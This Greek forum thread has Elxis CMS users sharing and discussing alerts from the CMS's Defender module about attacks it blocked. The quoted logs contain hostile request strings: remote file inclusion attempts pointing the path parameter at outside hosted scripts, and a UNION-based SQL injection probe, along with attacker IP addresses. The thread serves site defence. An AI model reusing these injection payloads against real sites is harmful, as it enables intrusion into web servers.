Elxis CMS Forum

Ελληνικό Forum => Ασφάλεια => Topic started by: evkarab on May 05, 2010, 10:57:30

Title: περι Defender
Post by: evkarab on May 05, 2010, 10:57:30
Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 72.26.122.245
Requested URI: /index2.php?option=com_content&do_pdf=1&id=1239//index2.php?option=com_content&do_pdf=1&mosConfig.absolute.path=http://www.miranda.gov.ve/desamiranda/libraries/export/cgi???
DATE: 05-05-2010 07:00:55
Attack was logged
Site turned offline for 15 seconds

Note: Elxis Defender wont send you another notification for the next 5 minutes even if more attacks occured.

Αυτό καλό είναι ή κακό;
Χρειάζεται να κάνω κάτι;
Πρώτη φορά βλέπω επίθεση(;)

Η παραπάνω διεύθυνση φιλοξενεί στοσελίδα φτιαγμένη με Joomla 1.5 και στο desamiranda ζητάει κωδικό
Title: Re: περι Defender
Post by: webgift on May 05, 2010, 11:24:06
Καλώς όρισες στο Club των επιθέσεων. ;D
Καλό είναι από την άποψη ότι ξέρεις ποια ip προσπάθησε να κάνει κάτι στην σελίδα σου.
Καλό επίσης είναι το γεγονός ότι το site σου βγαίνει εκτός για 15 δευτερόλεπτα.
Αυτό σημαίνει ότι χάνει την σύνδεση που προσπαθεί να κάνει... !


Τι κάνω εγώ ... block άρω από τον Server τις ips αυτές με αποτέλεσμα να μην ενοχλούν οι κύριοι.!

Και όπως λέγαμε και στον στρατό ...

Άκυρο ΨΑΡΟΥΛΙΔΕΣ!!! χαχαχα

Title: Re: περι Defender
Post by: evkarab on May 05, 2010, 11:38:42
Ποτέ δεν περίμενα πως θα φτάσει η ιστοσελίδα σε σημείο να δέχεται επιθέσεις.
Το ΠΙΟ ΣΥΜΑΝΤΙΚΟ όμως είναι ότι ο Υπερασπιστης ήταν εκεί.
Υπάρχει περίπτωση να έχει γίνει κάτι και να μη το έχω πάρει χαμπάρι;
Μια ιστοσελίδα που έχει δεχθεί επίθεση, τι συμπεριφορά έχει;
Title: Re: περι Defender
Post by: webgift on May 05, 2010, 12:42:40
Υπάρχει περίπτωση να έχει γίνει κάτι και να μη το έχω πάρει χαμπάρι;

Με την μέχρι τώρα εμπειρία μου : ΟΧΙ.

Μια ιστοσελίδα που έχει δεχθεί επίθεση, τι συμπεριφορά έχει;

Επίθεση δέχεται δεν σημαίνει ότι είναι επιτυχείς. Elxis CMS η απάντηση ;)
Ένα από τα γερά του χαρτιά ... η ασφάλεια.

Title: Re: περι Defender
Post by: rentasite on May 05, 2010, 17:08:04
Ποτέ δεν περίμενα πως θα φτάσει η ιστοσελίδα σε σημείο να δέχεται επιθέσεις.
Το ΠΙΟ ΣΥΜΑΝΤΙΚΟ όμως είναι ότι ο Υπερασπιστης ήταν εκεί.
Υπάρχει περίπτωση να έχει γίνει κάτι και να μη το έχω πάρει χαμπάρι;
Μια ιστοσελίδα που έχει δεχθεί επίθεση, τι συμπεριφορά έχει;

Το ότι λαμβάνεις ειδοποίηση από τον Defender, για μια επίθεση που έγινε, δεν είναι κακό. Το αντίθετο θα έλεγα. Απλά σε ενημερώνει για μια επίθεση που αποφεύχθηκε. Να ανησυχούσες εάν δεν λάμβανες κάτι τέτοιο.  ;)
Title: Re: περι Defender
Post by: ks-net on May 05, 2010, 18:10:27
Quote
Ποτέ δεν περίμενα πως θα φτάσει η ιστοσελίδα σε σημείο να δέχεται επιθέσεις.
Το ΠΙΟ ΣΥΜΑΝΤΙΚΟ όμως είναι ότι ο Υπερασπιστης ήταν εκεί.
Υπάρχει περίπτωση να έχει γίνει κάτι και να μη το έχω πάρει χαμπάρι;
Μια ιστοσελίδα που έχει δεχθεί επίθεση, τι συμπεριφορά έχει;

1- το ανάποδο γίνεται....παντα να περιμένεις να δεχθείς επίθεση!
2- Nαι... είναι πολύ συμαvτικό και από τα μεγαλύτερα ατού του elxis o defender!
3- ναι είναι πολύ πιθανό.... Να Ξέρεις πώς ο defender βλέπει και αντιδρά ότι περνά μέσα από το elxis .. και όχι ότι γίνεται στο server(ftp,apache,ssh,sendmail κτλ..)  κτλ...
4- Μπορεί να μην δείς τίποτα.. που σημαίνει όλα καλά και ασφαλή ή ότι σου έγινε πολύ καλή "Δουλειά" και εσύ κοιμάσαι τον ύπνο του δικαίου!
μπορεί η σελίδα σου να παρουσιάζει  τη Νόσο των τρελών αγελάδων.... ή να μην κάνει τίποτα φανερά(τα κάνει όλα από πίσω)... η πάλι να μην βλέπεις καν τη σελίδα σου αλλά στη θέση της κάποια ρώσικη νεκροκεφαλή με την ανάλογη υπόγραφή του hacker που σε ξεσκόνισε!

-Πάντα θα πρέπει να επιβλέπουμε το server μας για θέματα ασφαλείας....
-το έλχις με τον defender κάνει ως τώρα τη δουλεία του άψογα... δεν έχει αναφερθεί χτύπημα κανένα!
- ο defender παρακολουθεί το elxis και όχι το server σου ή τυχόν άλλα software που τρέχεις παράλληλα.....
 
Title: Re: περι Defender
Post by: evkarab on July 22, 2010, 20:11:41
Μιά νέα επίθεση κατέγραψε ο υπερασπιστής...

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 204.15.207.34
Requested URI: /index2.php?option=com_content&do_pdf=1&id=-999.9 UNION ALL SELECT 0x31303235343830303536--
DATE: 22-07-2010 17:52:53
Attack was logged
Site turned offline for 15 seconds

Την έβαλα στις φραγμένες IP. Έκανα καλά ή μήπως είναι υπερβολή;
Title: Re: περι Defender
Post by: rentasite on July 22, 2010, 21:33:22
Την έβαλα στις φραγμένες IP. Έκανα καλά ή μήπως είναι υπερβολή;

Εάν στον Defender έχεις θέσει σε Yes, το "Block IP" τότε είσαι οκ.

Το "Site Offline for" γιατί το έχεις ορίσει σε 15 seconds?  :o
Title: Re: περι Defender
Post by: webgift on July 23, 2010, 11:08:06
Έχω και εγώ τις τελευταίες μέρες αρκετές εκδηλώσεις αγάπης.
Ο defender όμως είναι μάχιμη και δεν καταλαβαίνει από τέτοια.

Προσωπικά τους μπλοκάρω εγώ χειροκίνητα.
Όντως τα 15 sec είναι αρκετά το ορίζω γύρω στα 4 με 5.
Title: Re: περι Defender
Post by: rentasite on July 23, 2010, 11:10:06

Και ΜΗΔΕΝ καλά είναι. Γιατί να βγει offline το site? αφού μπλοκάρει την IP ?
Title: Re: περι Defender
Post by: webgift on July 23, 2010, 11:18:05
Σπάει την σύνδεση που προσπαθεί να κάνει ο χρήστης με τις περισσότερες φορές (βάση).!
Title: Re: περι Defender
Post by: rentasite on July 23, 2010, 11:29:06

Γιατί το block ip, δεν την "σπάει" την σύνδεση ;;
Title: Re: περι Defender
Post by: evkarab on July 23, 2010, 21:32:25
Έχω και εγώ τις τελευταίες μέρες αρκετές εκδηλώσεις αγάπης.
Ο defender όμως είναι μάχιμη και δεν καταλαβαίνει από τέτοια.

Προσωπικά τους μπλοκάρω εγώ χειροκίνητα.
Όντως τα 15 sec είναι αρκετά το ορίζω γύρω στα 4 με 5.

Θυλικού γένους είναι ο δικός σου Webgift;   ;D


Και ΜΗΔΕΝ καλά είναι. Γιατί να βγει offline το site? αφού μπλοκάρει την IP ?

Να το βγάλω supernet ;
Title: Re: περι Defender
Post by: rentasite on July 23, 2010, 21:56:10
Να το βγάλω supernet ;

Εσυ αποφασίζεις  ;D
Title: Re: περι Defender
Post by: webgift on July 23, 2010, 22:08:59
Ναι ναι Lol.!
Θέλω την γυναίκα να είναι ζόρικη όπως ο Defender .... ΑΑχαχαχαχα!
Title: Re: περι Defender
Post by: michalis1984 on February 05, 2011, 16:11:16
Σήμερα δέκτηκα τις πρώτες 2 επιθέσεις στην ιστοσελίδα μου. Ευτυχώς ο υπερασπιστής ήταν ετοιμοπόλεμος όπως πάντα  ;D Αν και δεν ξέρω περισσότερες λεπτομέρειες, ούτε τι προσπάθησαν να κάνουν, αυτές είναι οι ειδοποιήσεις.

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 217.199.168.117
Requested URI: /index.php?option=com_urunler&mosConfig.absolute.path=http://sandiesangster.org/images/pandegaid.txt?
DATE: 05-02-2011 14:36:36
Attack was logged
-----------------------
Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 69.37.200.7
Requested URI: /index.php?option=com_urunler&mosConfig.absolute.path=http://sandiesangster.org/images/pandegaid.txt?
DATE: 05-02-2011 15:08:05
Title: Re: περι Defender
Post by: webgift on February 05, 2011, 16:25:40
Καλώς ήρθες στο club. Μην ανησυχείς ρουτίνα είναι για τον Defender κάτι τέτοια.